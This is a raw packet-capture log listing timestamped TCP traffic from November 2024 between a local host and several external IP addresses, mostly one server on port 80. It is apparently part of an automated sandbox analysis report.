Nov 23, 2024 01:14:33.808934927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.808979988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.809829950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.809875965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.810404062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.810450077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.810794115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.810842037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.810915947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.810967922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.811743975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.811817884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.811856031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.811927080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.812722921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.812776089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.812843084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.812884092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.813697100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.813750982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.813798904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.813867092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.814631939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.814698935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.814728975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.814770937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.815613031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.815697908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.815741062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.815809965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.816585064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.816663980 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.816692114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.816777945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.817543030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.817639112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.817668915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.817687035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.818509102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.818556070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.818612099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.818649054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.819487095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.819533110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.819621086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.819729090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.820456028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.820503950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.820563078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.820672989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.821403980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.821470976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.821623087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.821671963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.822390079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.822438002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.822580099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.822664022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.823348999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.823395967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.823533058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.823575974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.824335098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.824390888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.824419975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.824534893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.825272083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.825347900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.825380087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.825423956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.826263905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.826307058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.826376915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.826416016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.827238083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.827277899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.827338934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.827377081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.828190088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.828248978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.828300953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.828332901 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.829150915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.829200029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.829247952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.829407930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.830149889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.830238104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.830284119 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.831111908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.831180096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.831182003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:33.831218958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.853303909 CET	443	49845	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.853996038 CET	49845	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.854018927 CET	443	49845	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.855484962 CET	443	49845	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.855556011 CET	49845	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.856060982 CET	49845	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.856137037 CET	443	49845	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.856254101 CET	49845	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.856261015 CET	443	49845	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.902182102 CET	49845	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.919650078 CET	443	49844	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.920198917 CET	49844	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.920212984 CET	443	49844	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.921690941 CET	443	49844	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.921787024 CET	49844	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.922188997 CET	49844	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.922265053 CET	443	49844	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.922643900 CET	49844	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.922650099 CET	443	49844	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.922694921 CET	443	49843	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.923099995 CET	49843	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.923130035 CET	443	49843	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.926721096 CET	443	49843	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.926784992 CET	49843	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.927099943 CET	49843	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.927227020 CET	49843	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.927275896 CET	443	49843	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.944839954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:33.967432022 CET	49844	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.967632055 CET	49843	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.967658043 CET	443	49843	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.986826897 CET	443	49841	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.987602949 CET	49841	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.987612009 CET	443	49841	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.988733053 CET	443	49841	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.989093065 CET	49841	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.989181042 CET	443	49841	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.989276886 CET	49841	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.989415884 CET	443	49842	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.989686012 CET	49842	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.989694118 CET	443	49842	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.991156101 CET	443	49842	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.991224051 CET	49842	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.991595984 CET	49842	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.991673946 CET	443	49842	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.992043972 CET	49842	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.992049932 CET	443	49842	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.992904902 CET	49853	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:33.992932081 CET	443	49853	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:33.993026018 CET	49853	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:33.993056059 CET	49854	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:33.993068933 CET	443	49854	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:33.993140936 CET	49854	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:33.993289948 CET	49855	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:33.993297100 CET	443	49855	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:33.993433952 CET	49855	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:33.993549109 CET	49856	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:33.993555069 CET	443	49856	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:33.993632078 CET	49856	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:33.993771076 CET	49857	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:33.993778944 CET	443	49857	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:33.993827105 CET	49857	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:33.994292974 CET	49853	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:33.994306087 CET	443	49853	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:33.994404078 CET	49854	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:33.994411945 CET	443	49854	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:33.994532108 CET	49855	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:33.994544029 CET	443	49855	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:33.994682074 CET	49856	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:33.994692087 CET	443	49856	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:33.994793892 CET	49857	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:33.994803905 CET	443	49857	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:33.996969938 CET	443	49840	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.996999025 CET	443	49840	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.997174978 CET	49840	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.997181892 CET	443	49840	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.998997927 CET	49840	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.999033928 CET	443	49840	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.999182940 CET	49840	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.999378920 CET	49859	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:33.999398947 CET	443	49859	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:33.999478102 CET	49859	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.000008106 CET	49859	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.000020981 CET	443	49859	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.009246111 CET	49860	443	192.168.2.5	18.173.132.116
Nov 23, 2024 01:14:34.009269953 CET	443	49860	18.173.132.116	192.168.2.5
Nov 23, 2024 01:14:34.009337902 CET	49860	443	192.168.2.5	18.173.132.116
Nov 23, 2024 01:14:34.009572029 CET	49860	443	192.168.2.5	18.173.132.116
Nov 23, 2024 01:14:34.009588003 CET	443	49860	18.173.132.116	192.168.2.5
Nov 23, 2024 01:14:34.014600992 CET	49843	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.031341076 CET	443	49841	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.033164978 CET	49842	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.064290047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.293514013 CET	443	49845	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.293534994 CET	443	49845	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.293603897 CET	443	49845	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.293622017 CET	49845	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.293652058 CET	49845	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.297149897 CET	49845	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.297158003 CET	443	49845	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.297604084 CET	49861	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.297660112 CET	443	49861	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.297744036 CET	49861	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.298722982 CET	49861	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.298748970 CET	443	49861	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.366609097 CET	443	49844	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.366652012 CET	443	49844	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.366717100 CET	49844	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.366733074 CET	443	49844	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.367881060 CET	49844	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.367916107 CET	443	49844	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.368041039 CET	49844	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.374787092 CET	443	49843	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.378006935 CET	443	49843	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.378063917 CET	443	49843	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.378081083 CET	49843	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.378119946 CET	49843	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.381838083 CET	49843	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.381855965 CET	443	49843	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.396621943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.396693945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.396789074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.396841049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.396882057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.396903992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.396950006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.397824049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.397888899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.397906065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.398140907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.398859978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.398921013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.398957968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.399089098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.399727106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.399780989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.399847984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.399889946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.400727034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.400780916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.400815010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.400863886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.452797890 CET	443	49841	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.452857971 CET	443	49841	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.453146935 CET	443	49841	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.453149080 CET	49841	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.453200102 CET	49841	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.455902100 CET	49841	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.455919981 CET	443	49841	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.456425905 CET	443	49842	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.456482887 CET	443	49842	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.456656933 CET	49842	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.456672907 CET	443	49842	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.457468987 CET	443	49842	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.457535028 CET	49842	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.460078001 CET	49842	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.460091114 CET	443	49842	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:34.460299015 CET	49842	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.460313082 CET	49842	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:34.527270079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.527371883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.527405024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.527416945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.527756929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.527806044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.527874947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.528039932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.528824091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.528840065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.528903008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.529716969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.529778004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.529813051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.529866934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.530668020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.530755997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.530802965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.531016111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.531636000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.531693935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.531728983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.531836987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.532608032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.532677889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.532712936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.532754898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.533576012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.533668995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.533678055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.533714056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.534539938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.534636974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.534714937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.534961939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.535526037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.535566092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.535598993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.535684109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.536478996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.536585093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.536607027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.536628962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.537401915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.537497044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.657053947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.657161951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.657187939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.657286882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.657552004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.657819033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.657869101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.658515930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.658574104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.658591986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.658725977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.659233093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.659285069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.659329891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.659369946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.660216093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.660269976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.660311937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.660351992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.661178112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.661228895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.661277056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.661470890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.662142992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.662200928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.662237883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.662298918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.663109064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.663163900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.663197994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.663247108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.664117098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.664171934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.664192915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.664237022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.665069103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.665122986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.665220022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.665365934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.666028023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.666080952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.666124105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.666228056 CET	49760	80	192.168.2.5	185.215.113.206
